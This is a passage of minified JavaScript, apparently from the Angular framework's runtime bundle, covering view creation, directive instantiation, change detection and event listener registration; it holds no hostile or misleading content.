Nt=8&r?zt:null;if(Nt&&-1!==T4(Nt,me,0)||2&r&&me!==zt){if(rr(r))return!1;v=!0}}}}else{if(!v&&!rr(r)&&!rr(Y))return!1;if(v&&rr(Y))continue;v=!1,r=Y|1&r}}return rr(r)||v}function rr(e){return 0==(1&e)}function Pl(e,t,i,r){if(null===t)return-1;let o=0;if(r||!i){let l=!1;for(;o<t.length;){const v=t[o];if(v===e)return o;if(3===v||6===v)l=!0;else{if(1===v||2===v){let F=t[++o];for(;"string"==typeof F;)F=t[++o];continue}if(4===v)break;if(0===v){o+=4;continue}}o+=l?1:2}return-1}return function Hl(e,t){let i=e.indexOf(4);if(i>-1)for(i++;i<e.length;){const r=e[i];if("number"==typeof r)return-1;if(r===t)return i;i++}return-1}(t,e)}function m6(e,t,i=!1){for(let r=0;r<t.length;r++)if(Rl(e,t[r],i))return!0;return!1}function Vl(e,t){e:for(let i=0;i<t.length;i++){const r=t[i];if(e.length===r.length){for(let o=0;o<e.length;o++)if(e[o]!==r[o])continue e;return!0}}return!1}function g6(e,t){return e?":not("+t.trim()+")":t}function Bl(e){let t=e[0],i=1,r=2,o="",l=!1;for(;i<e.length;){let v=e[i];if("string"==typeof v)if(2&r){const F=e[++i];o+="["+v+(F.length>0?\'="\'+F+\'"\':"")+"]"}else 8&r?o+="."+v:4&r&&(o+=" "+v);else""!==o&&!rr(v)&&(t+=g6(l,o),o=""),r=v,l=l||!rr(r);i++}return""!==o&&(t+=g6(l,o)),t}const U1={};function v6(e){_6(t1(),Tt(),hn()+e,!1)}function _6(e,t,i,r){if(!r)if(3==(3&t[h1])){const l=e.preOrderCheckHooks;null!==l&&M1(t,l,i)}else{const l=e.preOrderHooks;null!==l&&H1(t,l,0,i)}zn(i)}function M6(e,t=null,i=null,r){const o=x6(e,t,i,r);return o.resolveInjectorInitializers(),o}function x6(e,t=null,i=null,r,o=new Set){const l=[i||at,ol(e)];return r=r||("object"==typeof e?void 0:_(e)),new s6(l,t||vo(),r||null,o)}let ba=(()=>{class e{static create(i,r){if(Array.isArray(i))return M6({name:""},r,i,"");{const o=i.name??"";return M6({name:o},i.parent,i.providers,o)}}}return e.THROW_IF_NOT_FOUND=Vt,e.NULL=new n6,e.\\u0275prov=Be({token:e,providedIn:"any",factory:()=>Pe(e6)}),e.__NG_ELEMENT_ID__=-1,e})();function Ga(e,t=Ie.Default){const i=Tt();return null===i?Pe(e,t):Hr(W1(),i,z(e),t)}function E6(){throw new Error("invalid")}function z6(e,t){const i=e.contentQueries;if(null!==i)for(let r=0;r<i.length;r+=2){const l=i[r+1];if(-1!==l){const v=e.data[l];A1(i[r]),v.contentQueries(2,t[l],l)}}}function yo(e,t,i,r,o,l,v,F,Y,me,$e){const ft=t.blueprint.slice();return ft[w1]=o,ft[h1]=76|r,(null!==$e||e&&1024&e[h1])&&(ft[h1]|=1024),w2(ft),ft[N1]=ft[cn]=e,ft[E1]=i,ft[Gn]=v||e&&e[Gn],ft[D1]=F||e&&e[D1],ft[ci]=Y||e&&e[ci]||null,ft[In]=me||e&&e[In]||null,ft[V1]=l,ft[$n]=function vs(){return eo++}(),ft[li]=$e,ft[X1]=2==t.type?e[X1]:ft,ft}function ja(e,t,i,r,o){let l=e.data[t];if(null===l)l=function F4(e,t,i,r,o){const l=Bn(),v=Yn(),Y=e.data[t]=function f8(e,t,i,r,o,l){return{type:i,index:r,insertBeforeIndex:null,injectorIndex:t?t.injectorIndex:-1,directiveStart:-1,directiveEnd:-1,directiveStylingLast:-1,componentOffset:-1,propertyBindings:null,flags:0,providerIndexes:0,value:o,attrs:l,mergedAttrs:null,localNames:null,initialInputs:void 0,inputs:null,outputs:null,tView:null,next:null,prev:null,projectionNext:null,child:null,parent:t,projection:null,styles:null,stylesWithoutHost:null,residualStyles:void 0,classes:null,classesWithoutHost:null,residualClasses:void 0,classBindings:0,styleBindings:0}}(0,v?l:l&&l.parent,i,t,r,o);return null===e.firstChild&&(e.firstChild=Y),null!==l&&(v?null==l.child&&null!==Y.parent&&(l.child=Y):null===l.next&&(l.next=Y,Y.prev=l)),Y}(e,t,i,r,o),function yt(){return ye.lFrame.inI18n}()&&(l.flags|=32);else if(64&l.type){l.type=i,l.value=r,l.attrs=o;const v=function Dn(){const e=ye.lFrame,t=e.currentTNode;return e.isParent?t:t.parent}();l.injectorIndex=null===v?-1:v.injectorIndex}return sn(l,!0),l}function ks(e,t,i,r){if(0===i)return-1;const o=t.length;for(let l=0;l<i;l++)t.push(r),e.blueprint.push(r),e.data.push(null);return o}function N4(e,t,i){Q1(t);try{const r=e.viewQuery;null!==r&&W4(1,r,i);const o=e.template;null!==o&&T6(e,t,o,1,i),e.firstCreatePass&&(e.firstCreatePass=!1),e.staticContentQueries&&z6(e,t),e.staticViewQueries&&W4(2,e.viewQuery,i);const l=e.components;null!==l&&function d8(e,t){for(let i=0;i<t.length;i++)k8(e,t[i])}(t,l)}catch(r){throw e.firstCreatePass&&(e.incompleteFirstPass=!0,e.firstCreatePass=!1),r}finally{t[h1]&=-5,e2()}}function bo(e,t,i,r){const o=t[h1];if(128!=(128&o)){Q1(t);try{w2(t),function Z(e){return ye.lFrame.bindingIndex=e}(e.bindingStartIndex),null!==i&&T6(e,t,i,2,r);const v=3==(3&o);if(v){const me=e.preOrderCheckHooks;null!==me&&M1(t,me,null)}else{const me=e.preOrderHooks;null!==me&&H1(t,me,0,null),N(t,0)}if(function F6(e){for(let t=$r(e);null!==t;t=ir(t)){if(!t[di])continue;const i=t[Nn];for(let r=0;r<i.length;r++){const o=i[r];512&o[h1]||c2(o[N1],1),o[h1]|=512}}}(t),function T8(e){for(let t=$r(e);null!==t;t=ir(t))for(let i=ln;i<t.length;i++){const r=t[i],o=r[Qt];xn(r)&&bo(o,r,o.template,r[E1])}}(t),null!==e.contentQueries&&z6(e,t),v){const me=e.contentCheckHooks;null!==me&&M1(t,me)}else{const me=e.contentHooks;null!==me&&H1(t,me,1),N(t,1)}!function c8(e,t){const i=e.hostBindingOpCodes;if(null!==i)try{for(let r=0;r<i.length;r++){const o=i[r];if(o<0)zn(~o);else{const l=o,v=i[++r],F=i[++r];Ft(v,l),F(2,t[l])}}}finally{zn(-1)}}(e,t);const F=e.components;null!==F&&function l8(e,t){for(let i=0;i<t.length;i++)L8(e,t[i])}(t,F);const Y=e.viewQuery;if(null!==Y&&W4(2,Y,r),v){const me=e.viewCheckHooks;null!==me&&M1(t,me)}else{const me=e.viewHooks;null!==me&&H1(t,me,2),N(t,2)}!0===e.firstUpdatePass&&(e.firstUpdatePass=!1),t[h1]&=-41,512&t[h1]&&(t[h1]&=-513,c2(t[N1],-1))}finally{e2()}}}function T6(e,t,i,r,o){const l=hn(),v=2&r;try{zn(-1),v&&t.length>L1&&_6(e,t,L1,!1),bn(v?2:0,o),i(r,o)}finally{zn(l),bn(v?3:1,o)}}function H4(e,t,i){if(Ei(t)){const o=t.directiveEnd;for(let l=t.directiveStart;l<o;l++){const v=e.data[l];v.contentQueries&&v.contentQueries(1,i[l],l)}}}function V4(e,t,i){gt()&&(function b8(e,t,i,r){const o=i.directiveStart,l=i.directiveEnd;Hn(i)&&function S8(e,t,i){const r=_n(t,e),o=U4(i),l=e[Gn],v=xo(e,yo(e,o,null,i.onPush?32:16,r,t,l,l.createRenderer(r,i),null,null,null));e[t.index]=v}(t,i,e.data[o+i.componentOffset]),e.firstCreatePass||cr(i,t),et(r,t);const v=i.initialInputs;for(let F=o;F<l;F++){const Y=e.data[F],me=k2(t,e,F,i);et(me,t),null!==v&&E8(0,F-o,me,Y,0,v),pn(Y)&&(Vn(i.index,t)[E1]=k2(t,e,F,i))}}(e,t,i,_n(i,t)),64==(64&i.flags)&&R6(e,t,i))}function B4(e,t,i=_n){const r=t.localNames;if(null!==r){let o=t.index+1;for(let l=0;l<r.length;l+=2){const v=r[l+1],F=-1===v?i(t,e):e[v];e[o++]=F}}}function U4(e){const t=e.tView;return null===t||t.incompleteFirstPass?e.tView=G4(1,null,e.template,e.decls,e.vars,e.directiveDefs,e.pipeDefs,e.viewQuery,e.schemas,e.consts):t}function G4(e,t,i,r,o,l,v,F,Y,me){const $e=L1+r,ft=$e+o,zt=function u8(e,t){const i=[];for(let r=0;r<t;r++)i.push(r<e?null:U1);return i}($e,ft),Nt="function"==typeof me?me():me;return zt[Qt]={type:e,blueprint:zt,template:i,queries:null,viewQuery:F,declTNode:t,data:zt.slice().fill(null,$e),bindingStartIndex:$e,expandoStartIndex:ft,hostBindingOpCodes:null,firstCreatePass:!0,firstUpdatePass:!0,staticViewQueries:!1,staticContentQueries:!1,preOrderHooks:null,preOrderCheckHooks:null,contentHooks:null,contentCheckHooks:null,viewHooks:null,viewCheckHooks:null,destroyHooks:null,cleanup:null,contentQueries:null,components:null,directiveRegistry:"function"==typeof l?l():l,pipeRegistry:"function"==typeof v?v():v,firstChild:null,schemas:Y,consts:Nt,incompleteFirstPass:!1}}function L6(e,t,i,r){const o=N6(t);null===i?o.push(r):(o.push(i),e.firstCreatePass&&H6(e).push(r,o.length-1))}function k6(e,t,i,r){for(let o in e)if(e.hasOwnProperty(o)){i=null===i?{}:i;const l=e[o];null===r?O6(i,t,o,l):r.hasOwnProperty(o)&&O6(i,t,r[o],l)}return i}function O6(e,t,i,r){e.hasOwnProperty(i)?e[i].push(t,r):e[i]=[t,r]}function F2(e,t,i,r,o,l,v,F){const Y=_n(t,i);let $e,me=t.inputs;!F&&null!=me&&($e=me[r])?($4(e,i,$e,r,o),Hn(t)&&function g8(e,t){const i=Vn(t,e);16&i[h1]||(i[h1]|=32)}(i,t.index)):3&t.type&&(r=function m8(e){return"class"===e?"className":"for"===e?"htmlFor":"formaction"===e?"formAction":"innerHtml"===e?"innerHTML":"readonly"===e?"readOnly":"tabindex"===e?"tabIndex":e}(r),o=null!=v?v(o,t.value||"",r):o,l.setProperty(Y,r,o))}function Co(e,t,i,r){if(gt()){const o=null===r?null:{"":-1},l=function M8(e,t){const i=e.directiveRegistry;let r=null,o=null;if(i)for(let l=0;l<i.length;l++){const v=i[l];if(m6(t,v.selectors,!1))if(r||(r=[]),pn(v))if(null!==v.findHostDirectiveDefs){const F=[];o=o||new Map,v.findHostDirectiveDefs(v,F,o),r.unshift(...F,v),j4(e,t,F.length)}else r.unshift(v),j4(e,t,0);else o=o||new Map,v.findHostDirectiveDefs?.(v,r,o),r.push(v)}return null===r?null:[r,o]}(e,i);let v,F;null===l?v=F=null:[v,F]=l,null!==v&&I6(e,t,i,v,o,F),o&&function x8(e,t,i){if(t){const r=e.localNames=[];for(let o=0;o<t.length;o+=2){const l=i[t[o+1]];if(null==l)throw new Q(-301,!1);r.push(t[o],l)}}}(i,r,o)}i.mergedAttrs=wi(i.mergedAttrs,i.attrs)}function I6(e,t,i,r,o,l){for(let me=0;me<r.length;me++)Mr(cr(i,t),e,r[me].type);!function w8(e,t,i){e.flags|=1,e.directiveStart=t,e.directiveEnd=t+i,e.providerIndexes=t}(i,e.data.length,r.length);for(let me=0;me<r.length;me++){const $e=r[me];$e.providersResolver&&$e.providersResolver($e)}let v=!1,F=!1,Y=ks(e,t,r.length,null);for(let me=0;me<r.length;me++){const $e=r[me];i.mergedAttrs=wi(i.mergedAttrs,$e.hostAttrs),A8(e,i,t,Y,$e),D8(Y,$e,o),null!==$e.contentQueries&&(i.flags|=4),(null!==$e.hostBindings||null!==$e.hostAttrs||0!==$e.hostVars)&&(i.flags|=64);const ft=$e.type.prototype;!v&&(ft.ngOnChanges||ft.ngOnInit||ft.ngDoCheck)&&((e.preOrderHooks??(e.preOrderHooks=[])).push(i.index),v=!0),!F&&(ft.ngOnChanges||ft.ngDoCheck)&&((e.preOrderCheckHooks??(e.preOrderCheckHooks=[])).push(i.index),F=!0),Y++}!function p8(e,t,i){const o=t.directiveEnd,l=e.data,v=t.attrs,F=[];let Y=null,me=null;for(let $e=t.directiveStart;$e<o;$e++){const ft=l[$e],zt=i?i.get(ft):null,Kt=zt?zt.outputs:null;Y=k6(ft.inputs,$e,Y,zt?zt.inputs:null),me=k6(ft.outputs,$e,me,Kt);const r1=null===Y||null===v||p6(t)?null:z8(Y,$e,v);F.push(r1)}null!==Y&&(Y.hasOwnProperty("class")&&(t.flags|=8),Y.hasOwnProperty("style")&&(t.flags|=16)),t.initialInputs=F,t.inputs=Y,t.outputs=me}(e,i,l)}function R6(e,t,i){const r=i.directiveStart,o=i.directiveEnd,l=i.index,v=function Ut(){return ye.lFrame.currentDirectiveIndex}();try{zn(l);for(let F=r;F<o;F++){const Y=e.data[F],me=t[F];o1(F),(null!==Y.hostBindings||0!==Y.hostVars||null!==Y.hostAttrs)&&C8(Y,me)}}finally{zn(-1),o1(v)}}function C8(e,t){null!==e.hostBindings&&e.hostBindings(1,t)}function j4(e,t,i){t.componentOffset=i,(e.components??(e.components=[])).push(t.index)}function D8(e,t,i){if(i){if(t.exportAs)for(let r=0;r<t.exportAs.length;r++)i[t.exportAs[r]]=e;pn(t)&&(i[""]=e)}}function A8(e,t,i,r,o){e.data[r]=o;const l=o.factory||(o.factory=ai(o.type)),v=new ht(l,pn(o),Ga);e.blueprint[r]=v,i[r]=v,function _8(e,t,i,r,o){const l=o.hostBindings;if(l){let v=e.hostBindingOpCodes;null===v&&(v=e.hostBindingOpCodes=[]);const F=~t.index;(function y8(e){let t=e.length;for(;t>0;){const i=e[--t];if("number"==typeof i&&i<0)return i}return 0})(v)!=F&&v.push(F),v.push(i,r,l)}}(e,t,r,ks(e,i,o.hostVars,U1),o)}function pr(e,t,i,r,o,l){const v=_n(e,t);!function Mo(e,t,i,r,o,l,v){if(null==l)e.removeAttribute(t,o,i);else{const F=null==v?Ce(l):v(l,r||"",o);e.setAttribute(t,o,F,i)}}(t[D1],v,l,e.value,i,r,o)}function E8(e,t,i,r,o,l){const v=l[t];if(null!==v){const F=r.setInput;for(let Y=0;Y<v.length;){const me=v[Y++],$e=v[Y++],ft=v[Y++];null!==F?r.setInput(i,ft,me,$e):i[$e]=ft}}}function z8(e,t,i){let r=null,o=0;for(;o<i.length;){const l=i[o];if(0!==l)if(5!==l){if("number"==typeof l)break;if(e.hasOwnProperty(l)){null===r&&(r=[]);const v=e[l];for(let F=0;F<v.length;F+=2)if(v[F]===t){r.push(l,v[F+1],i[o+1]);break}}o+=2}else o+=2;else o+=4}return r}function P6(e,t,i,r){return[e,!0,!1,t,null,0,r,i,null,null]}function L8(e,t){const i=Vn(t,e);if(xn(i)){const r=i[Qt];48&i[h1]?bo(r,i,r.template,i[E1]):i[T1]>0&&Y4(i)}}function Y4(e){for(let r=$r(e);null!==r;r=ir(r))for(let o=ln;o<r.length;o++){const l=r[o];if(xn(l))if(512&l[h1]){const v=l[Qt];bo(v,l,v.template,l[E1])}else l[T1]>0&&Y4(l)}const i=e[Qt].components;if(null!==i)for(let r=0;r<i.length;r++){const o=Vn(i[r],e);xn(o)&&o[T1]>0&&Y4(o)}}function k8(e,t){const i=Vn(t,e),r=i[Qt];(function O8(e,t){for(let i=t.length;i<e.blueprint.length;i++)t.push(e.blueprint[i])})(r,i),N4(r,i,i[E1])}function xo(e,t){return e[fn]?e[Rn][Y1]=t:e[fn]=t,e[Rn]=t,t}function Do(e){for(;e;){e[h1]|=32;const t=C2(e);if(Fi(e)&&!t)return e;e=t}return null}function wo(e,t,i,r=!0){const o=t[Gn];o.begin&&o.begin();try{bo(e,t,e.template,i)}catch(v){throw r&&B6(t,v),v}finally{o.end&&o.end()}}function W4(e,t,i){A1(0),t(e,i)}function N6(e){return e[vn]||(e[vn]=[])}function H6(e){return e.cleanup||(e.cleanup=[])}function V6(e,t,i){return(null===e||pn(e))&&(i=function Mi(e){for(;Array.isArray(e);){if("object"==typeof e[Mn])return e;e=e[w1]}return null}(i[t.index])),i[D1]}function B6(e,t){const i=e[In],r=i?i.get(Ls,null):null;r&&r.handleError(t)}function $4(e,t,i,r,o){for(let l=0;l<i.length;){const v=i[l++],F=i[l++],Y=t[v],me=e.data[v];null!==me.setInput?me.setInput(Y,o,r,F):Y[F]=o}}function mr(e,t,i){const r=m2(t,e);!function to(e,t,i){e.setValue(t,i)}(e[D1],r,i)}function Ao(e,t,i){let r=i?e.styles:null,o=i?e.classes:null,l=0;if(null!==t)for(let v=0;v<t.length;v++){const F=t[v];"number"==typeof F?l=F:1==l?o=S(o,F):2==l&&(r=S(r,F+": "+t[++v]+";"))}i?e.styles=r:e.stylesWithoutHost=r,i?e.classes=o:e.classesWithoutHost=o}function So(e,t,i,r,o=!1){for(;null!==i;){const l=t[i.index];if(null!==l&&r.push(en(l)),Sn(l))for(let F=ln;F<l.length;F++){const Y=l[F],me=Y[Qt].firstChild;null!==me&&So(Y[Qt],Y,me,r)}const v=i.type;if(8&v)So(e,t,i.child,r);else if(32&v){const F=s2(i,t);let Y;for(;Y=F();)r.push(Y)}else if(16&v){const F=a4(t,i);if(Array.isArray(F))r.push(...F);else{const Y=C2(t[X1]);So(Y[Qt],Y,F,r,!0)}}i=o?i.projectionNext:i.next}return r}class Os{get rootNodes(){const t=this._lView,i=t[Qt];return So(i,t,i.firstChild,[])}constructor(t,i){this._lView=t,this._cdRefInjectingView=i,this._appRef=null,this._attachedToViewContainer=!1}get context(){return this._lView[E1]}set context(t){this._lView[E1]=t}get destroyed(){return 128==(128&this._lView[h1])}destroy(){if(this._appRef)this._appRef.detachView(this);else if(this._attachedToViewContainer){const t=this._lView[N1];if(Sn(t)){const i=t[_i],r=i?i.indexOf(this):-1;r>-1&&(xs(t,r),X2(i,r))}this._attachedToViewContainer=!1}ro(this._lView[Qt],this._lView)}onDestroy(t){L6(this._lView[Qt],this._lView,null,t)}markForCheck(){Do(this._cdRefInjectingView||this._lView)}detach(){this._lView[h1]&=-65}reattach(){this._lView[h1]|=64}detectChanges(){wo(this._lView[Qt],this._lView,this.context)}checkNoChanges(){}attachToViewContainerRef(){if(this._appRef)throw new Q(902,!1);this._attachedToViewContainer=!0}detachFromAppRef(){this._appRef=null,function Qo(e,t){ws(e,t,t[D1],2,null,null)}(this._lView[Qt],this._lView)}attachToAppRef(t){if(this._attachedToViewContainer)throw new Q(902,!1);this._appRef=t}}class U6 extends Os{constructor(t){super(t),this._view=t}detectChanges(){const t=this._view;wo(t[Qt],t,t[E1],!1)}checkNoChanges(){}get context(){return null}}class G6 extends zs{constructor(t){super(),this.ngModule=t}resolveComponentFactory(t){const i=O(t);return new Is(i,this.ngModule)}}function j6(e){const t=[];for(let i in e)e.hasOwnProperty(i)&&t.push({propName:e[i],templateName:i});return t}class Y6{constructor(t,i){this.injector=t,this.parentInjector=i}get(t,i,r){r=xe(r);const o=this.injector.get(t,A4,r);return o!==A4||i===A4?o:this.parentInjector.get(t,i,r)}}class Is extends w4{get inputs(){return j6(this.componentDef.inputs)}get outputs(){return j6(this.componentDef.outputs)}constructor(t,i){super(),this.componentDef=t,this.ngModule=i,this.componentType=t.type,this.selector=function Ul(e){return e.map(Bl).join(",")}(t.selectors),this.ngContentSelectors=t.ngContentSelectors?t.ngContentSelectors:[],this.isBoundToModule=!!i}create(t,i,r,o){let l=(o=o||this.ngModule)instanceof ya?o:o?.injector;l&&null!==this.componentDef.getStandaloneInjector&&(l=this.componentDef.getStandaloneInjector(l)||l);const v=l?new Y6(t,l):t,F=v.get(l6,null);if(null===F)throw new Q(407,!1);const Y=v.get(xl,null),me=F.createRenderer(null,this.componentDef),$e=this.componentDef.selectors[0][0]||"div",ft=r?function h8(e,t,i){return e.selectRootElement(t,i===fe.ShadowDom)}(me,r,this.componentDef.encapsulation):Ms(me,$e,function I8(e){const t=e.toLowerCase();return"svg"===t?Gi:"math"===t?"math":null}($e)),zt=this.componentDef.onPush?288:272,Nt=G4(0,null,null,1,0,null,null,null,null,null),Kt=yo(null,Nt,null,zt,null,null,F,me,Y,v,null);let r1,m1;Q1(Kt);try{const b1=this.componentDef;let R1,Xt=null;b1.findHostDirectiveDefs?(R1=[],Xt=new Map,b1.findHostDirectiveDefs(b1,R1,Xt),R1.push(b1)):R1=[b1];const j1=function R8(e,t){const i=e[Qt],r=L1;return e[r]=t,ja(i,r,2,"#host",null)}(Kt,ft),vi=function P8(e,t,i,r,o,l,v,F){const Y=o[Qt];!function F8(e,t,i,r){for(const o of e)t.mergedAttrs=wi(t.mergedAttrs,o.hostAttrs);null!==t.mergedAttrs&&(Ao(t,t.mergedAttrs,!0),null!==i&&P3(r,i,t))}(r,e,t,v);const me=l.createRenderer(t,i),$e=yo(o,U4(i),null,i.onPush?32:16,o[e.index],e,l,me,F||null,null,null);return Y.firstCreatePass&&j4(Y,e,r.length-1),xo(o,$e),o[e.index]=$e}(j1,ft,b1,R1,Kt,F,me);m1=pi(Nt,L1),ft&&function H8(e,t,i,r){if(r)rn(e,i,["ng-version",Dl.full]);else{const{attrs:o,classes:l}=function Gl(e){const t=[],i=[];let r=1,o=2;for(;r<e.length;){let l=e[r];if("string"==typeof l)2===o?""!==l&&t.push(l,e[++r]):8===o&&i.push(l);else{if(!rr(o))break;o=l}r++}return{attrs:t,classes:i}}(t.selectors[0]);o&&rn(e,i,o),l&&l.length>0&&R3(e,i,l.join(" "))}}(me,b1,ft,r),void 0!==i&&function V8(e,t,i){const r=e.projection=[];for(let o=0;o<t.length;o++){const l=i[o];r.push(null!=l?Array.from(l):null)}}(m1,this.ngContentSelectors,i),r1=function N8(e,t,i,r,o,l){const v=W1(),F=o[Qt],Y=_n(v,o);I6(F,o,v,i,null,r);for(let $e=0;$e<i.length;$e++)et(k2(o,F,v.directiveStart+$e,v),o);R6(F,o,v),Y&&et(Y,o);const me=k2(o,F,v.directiveStart+v.componentOffset,v);if(e[E1]=o[E1]=me,null!==l)for(const $e of l)$e(me,t);return H4(F,v,e),me}(vi,b1,R1,Xt,Kt,[B8]),N4(Nt,Kt,null)}finally{e2()}return new W6(this.componentType,r1,Va(m1,Kt),Kt,m1)}}class W6 extends gl{constructor(t,i,r,o,l){super(),this.location=r,this._rootLView=o,this._tNode=l,this.instance=i,this.hostView=this.changeDetectorRef=new U6(o),this.componentType=t}setInput(t,i){const r=this._tNode.inputs;let o;if(null!==r&&(o=r[t])){const l=this._rootLView;$4(l[Qt],l,o,t,i),Do(Vn(this._tNode.index,l))}}get injector(){return new O2(this._tNode,this._rootLView)}destroy(){this.hostView.destroy()}onDestroy(t){this.hostView.onDestroy(t)}}function B8(){const e=W1();y1(Tt()[Qt],e)}function K4(e){let t=function $6(e){return Object.getPrototypeOf(e.prototype).constructor}(e.type),i=!0;const r=[e];for(;t;){let o;if(pn(e))o=t.\\u0275cmp||t.\\u0275dir;else{if(t.\\u0275cmp)throw new Q(903,!1);o=t.\\u0275dir}if(o){if(i){r.push(o);const v=e;v.inputs=Z4(e.inputs),v.declaredInputs=Z4(e.declaredInputs),v.outputs=Z4(e.outputs);const F=o.hostBindings;F&&Y8(e,F);const Y=o.viewQuery,me=o.contentQueries;if(Y&&G8(e,Y),me&&j8(e,me),E(e.inputs,o.inputs),E(e.declaredInputs,o.declaredInputs),E(e.outputs,o.outputs),pn(o)&&o.data.animation){const $e=e.data;$e.animation=($e.animation||[]).concat(o.data.animation)}}const l=o.features;if(l)for(let v=0;v<l.length;v++){const F=l[v];F&&F.ngInherit&&F(e),F===K4&&(i=!1)}}t=Object.getPrototypeOf(t)}!function U8(e){let t=0,i=null;for(let r=e.length-1;r>=0;r--){const o=e[r];o.hostVars=t+=o.hostVars,o.hostAttrs=wi(o.hostAttrs,i=wi(i,o.hostAttrs))}}(r)}function Z4(e){return e===Ee?{}:e===at?[]:e}function G8(e,t){const i=e.viewQuery;e.viewQuery=i?(r,o)=>{t(r,o),i(r,o)}:t}function j8(e,t){const i=e.contentQueries;e.contentQueries=i?(r,o,l)=>{t(r,o,l),i(r,o,l)}:t}function Y8(e,t){const i=e.hostBindings;e.hostBindings=i?(r,o)=>{t(r,o),i(r,o)}:t}function Eo(e){return!!Q4(e)&&(Array.isArray(e)||!(e instanceof Map)&&Symbol.iterator in e)}function Q4(e){return null!==e&&("function"==typeof e||"object"==typeof e)}function gr(e,t,i){return e[t]=i}function M2(e,t,i){return!Object.is(e[t],i)&&(e[t]=i,!0)}function Ca(e,t,i,r){const o=M2(e,t,i);return M2(e,t+1,r)||o}function zo(e,t,i,r,o){const l=Ca(e,t,i,r);return M2(e,t+2,o)||l}function q4(e,t,i,r){const o=Tt();return M2(o,Le(),t)&&(t1(),pr($1(),o,e,t,i,r)),q4}function Wa(e,t,i,r){return M2(e,Le(),i)?t+Ce(i)+r:U1}function $a(e,t,i,r,o,l){const F=Ca(e,D(),i,o);return rt(2),F?t+Ce(i)+r+Ce(o)+l:U1}function Za(e,t,i,r,o,l,v,F,Y,me){const ft=function j2(e,t,i,r,o,l){const v=Ca(e,t,i,r);return Ca(e,t+2,o,l)||v}(e,D(),i,o,v,Y);return rt(4),ft?t+Ce(i)+r+Ce(o)+l+Ce(v)+F+Ce(Y)+me:U1}function s0(e,t,i,r,o,l,v,F){const Y=Tt(),me=t1(),$e=e+L1,ft=me.firstCreatePass?function t5(e,t,i,r,o,l,v,F,Y){const me=t.consts,$e=ja(t,e,4,v||null,Qn(me,F));Co(t,i,$e,Qn(me,Y)),y1(t,$e);const ft=$e.tView=G4(2,$e,r,o,l,t.directiveRegistry,t.pipeRegistry,null,t.schemas,me);return null!==t.queries&&(t.queries.template(t,$e),ft.queries=t.queries.embeddedTView($e)),$e}($e,me,Y,t,i,r,o,l,v):me.data[$e];sn(ft,!1);const zt=Y[D1].createComment("");uo(me,Y,zt,ft),et(zt,Y),xo(Y,Y[$e]=P6(zt,Y,zt,ft)),ui(ft)&&V4(me,Y,ft),null!=v&&B4(Y,ft,F)}function o0(e){return si(function xi(){return ye.lFrame.contextLView}(),L1+e)}function X4(e,t,i){const r=Tt();return M2(r,Le(),t)&&F2(t1(),$1(),r,e,t,r[D1],i,!1),X4}function e3(e,t,i,r,o){const v=o?"class":"style";$4(e,i,t.inputs[v],v,r)}function To(e,t,i,r){const o=Tt(),l=t1(),v=L1+e,F=o[D1],Y=l.firstCreatePass?function c0(e,t,i,r,o,l){const v=t.consts,Y=ja(t,e,2,r,Qn(v,o));return Co(t,i,Y,Qn(v,l)),null!==Y.attrs&&Ao(Y,Y.attrs,!1),null!==Y.mergedAttrs&&Ao(Y,Y.mergedAttrs,!0),null!==t.queries&&t.queries.elementStart(t,Y),Y}(v,l,o,t,i,r):l.data[v],me=o[v]=Ms(F,t,function W2(){return ye.lFrame.currentNamespace}()),$e=ui(Y);return sn(Y,!0),P3(F,me,Y),32!=(32&Y.flags)&&uo(l,o,me,Y),0===function L(){return ye.lFrame.elementDepthCount}()&&et(me,o),function T(){ye.lFrame.elementDepthCount++}(),$e&&(V4(l,o,Y),H4(l,Y,o)),null!==r&&B4(o,Y),To}function Lo(){let e=W1();Yn()?qn():(e=e.parent,sn(e,!1));const t=e;!function ue(){ye.lFrame.elementDepthCount--}();const i=t1();return i.firstCreatePass&&(y1(i,e),Ei(e)&&i.queries.elementEnd(e)),null!=t.classesWithoutHost&&function g1(e){return 0!=(8&e.flags)}(t)&&e3(i,t,Tt(),t.classesWithoutHost,!0),null!=t.stylesWithoutHost&&function B1(e){return 0!=(16&e.flags)}(t)&&e3(i,t,Tt(),t.stylesWithoutHost,!1),Lo}function t3(e,t,i,r){return To(e,t,i,r),Lo(),t3}function ko(e,t,i){const r=Tt(),o=t1(),l=e+L1,v=o.firstCreatePass?function r5(e,t,i,r,o){const l=t.consts,v=Qn(l,r),F=ja(t,e,8,"ng-container",v);return null!==v&&Ao(F,v,!0),Co(t,i,F,Qn(l,o)),null!==t.queries&&t.queries.elementStart(t,F),F}(l,o,r,t,i):o.data[l];sn(v,!0);const F=r[l]=r[D1].createComment("");return uo(o,r,F,v),et(F,r),ui(v)&&(V4(o,r,v),H4(o,v,r)),null!=i&&B4(r,v),ko}function Oo(){let e=W1();const t=t1();return Yn()?qn():(e=e.parent,sn(e,!1)),t.firstCreatePass&&(y1(t,e),Ei(e)&&t.queries.elementEnd(e)),Oo}function n3(e,t,i){return ko(e,t,i),Oo(),n3}function l0(){return Tt()}function r3(e){return!!e&&"function"==typeof e.then}function d0(e){return!!e&&"function"==typeof e.subscribe}const u0=d0;function a3(e,t,i,r){const o=Tt(),l=t1(),v=W1();return h0(l,o,o[D1],v,e,t,r),a3}function s3(e,t){const i=W1(),r=Tt(),o=t1();return h0(o,r,V6(l1(o.data),i,r),i,e,t),s3}function h0(e,t,i,r,o,l,v){const F=ui(r),me=e.firstCreatePass&&H6(e),$e=t[E1],ft=N6(t);let zt=!0;if(3&r.type||v){const r1=_n(r,t),m1=v?v(r1):r1,b1=ft.length,R1=v?j1=>v(en(j1[r.index])):r.index;let Xt=null;if(!v&&F&&(Xt=function a5(e,t,i,r){const o=e.cleanup;if(null!=o)for(let l=0;l<o.length-1;l+=2){const v=o[l];if(v===i&&o[l+1]===r){const F=t[vn],Y=o[l+2];return F.length>Y?F[Y]:null}"string"==typeof v&&(l+=2)}return null}(e,t,o,r.index)),null!==Xt)(Xt.__ngLastListenerFn__||Xt).__ngNextListenerFn__=l,Xt.__ngLastListenerFn__=l,zt=!1;else{l=p0(r,t,$e,l,!1);const j1=i.listen(m1,o,l);ft.push(l,j1),me&&me.push(o,R1,b1,b1+1)}}else l=p0(r,t,$e,l,!1);const Nt=r.outputs;let Kt;if(zt&&null!==Nt&&(Kt=Nt[o])){const r1=Kt.length;if(r1)for(let m1=0;m1<r1;m1+=2){const vi=t[Kt[m1]][Kt[m1+1]].subscribe(l),Zi=ft.length;ft.push(l,vi),me&&me.push(o,r.index,Zi,-(Zi+1))}}}function f0(e,t,i,r){try{return bn(6,t,i),!1!==i(r)}catch(o){return 